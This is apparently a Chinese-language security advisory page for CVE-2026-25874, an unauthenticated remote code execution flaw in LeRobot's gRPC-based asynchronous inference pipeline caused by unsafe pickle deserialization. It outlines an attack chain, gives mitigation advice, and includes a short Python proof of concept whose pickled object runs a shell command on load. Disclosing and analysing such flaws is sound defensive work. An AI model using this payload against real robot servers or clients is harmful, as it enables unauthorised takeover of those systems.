IPBUF安全漏洞报告
English
CVE-2026-25874 CVSS 9.8 严重

CVE-2026-25874 LeRobot 远程代码执行漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-25874
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
LeRobot

相关标签

RCE不安全的反序列化LeRobotPicklegRPC

漏洞概述

LeRobot 0.5.1及之前版本在异步推理管道中存在不安全的反序列化漏洞。由于策略服务器和客户端在未认证且无TLS的gRPC通道上使用pickle.loads()处理数据,未经认证的攻击者可通过SendPolicyInstructions等gRPC调用发送恶意pickle载荷,从而在服务端或客户端实现任意代码执行。

技术细节

该漏洞源于LeRobot的异步推理管道中gRPC通信机制缺乏必要的安全加固。系统使用Python的pickle模块对通过网络传输的数据进行序列化和反序列化。然而,pickle.loads()函数在处理不可信数据时天生不安全,因为它会自动执行对象定义中的__reduce__等方法中的代码。攻击者无需认证即可连接到开放的gRPC端口,并利用SendPolicyInstructions、SendObservations或GetActions等gRPC接口发送精心构造的恶意pickle对象。一旦目标组件接收到数据并调用pickle.loads()进行解析,其中包含的恶意命令便会被执行,从而允许攻击者完全控制受影响的服务器或客户端系统。

攻击链分析

STEP 1
侦察
攻击者扫描网络以发现开放在默认或非默认端口上的LeRobot策略服务器或机器人客户端gRPC接口。
STEP 2
载荷构建
攻击者利用Python的pickle模块构造一个包含恶意代码(如反弹Shell或系统命令)的序列化对象。
STEP 3
漏洞利用
攻击者无需身份验证,直接通过SendPolicyInstructions、SendObservations或GetActions等gRPC方法,将恶意pickle数据发送给目标服务。
STEP 4
代码执行
目标组件接收到数据并调用pickle.loads()进行反序列化,触发恶意代码执行,从而获取服务器权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import pickle import os # Define a malicious class to execute code upon deserialization class ExploitPayload: def __reduce__(self): # Execute arbitrary command (e.g., create a file or reverse shell) return (os.system, ('touch /tmp/pwned',)) # Serialize the malicious object malicious_data = pickle.dumps(ExploitPayload()) # In a real attack scenario, send this byte stream via gRPC # Example using a generic gRPC client stub: # stub.SendPolicyInstructions(request=malicious_data) print(f"Generated payload length: {len(malicious_data)}") print("Payload contains arbitrary code execution via pickle.")

影响范围

LeRobot <= 0.5.1

防御指南

临时缓解措施
建议立即在gRPC通道上强制启用TLS加密,并配置严格的身份验证机制以限制访问。如果无法立即升级,请限制网络访问,仅允许可信IP连接到gRPC端口,并避免将服务直接暴露在公网。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表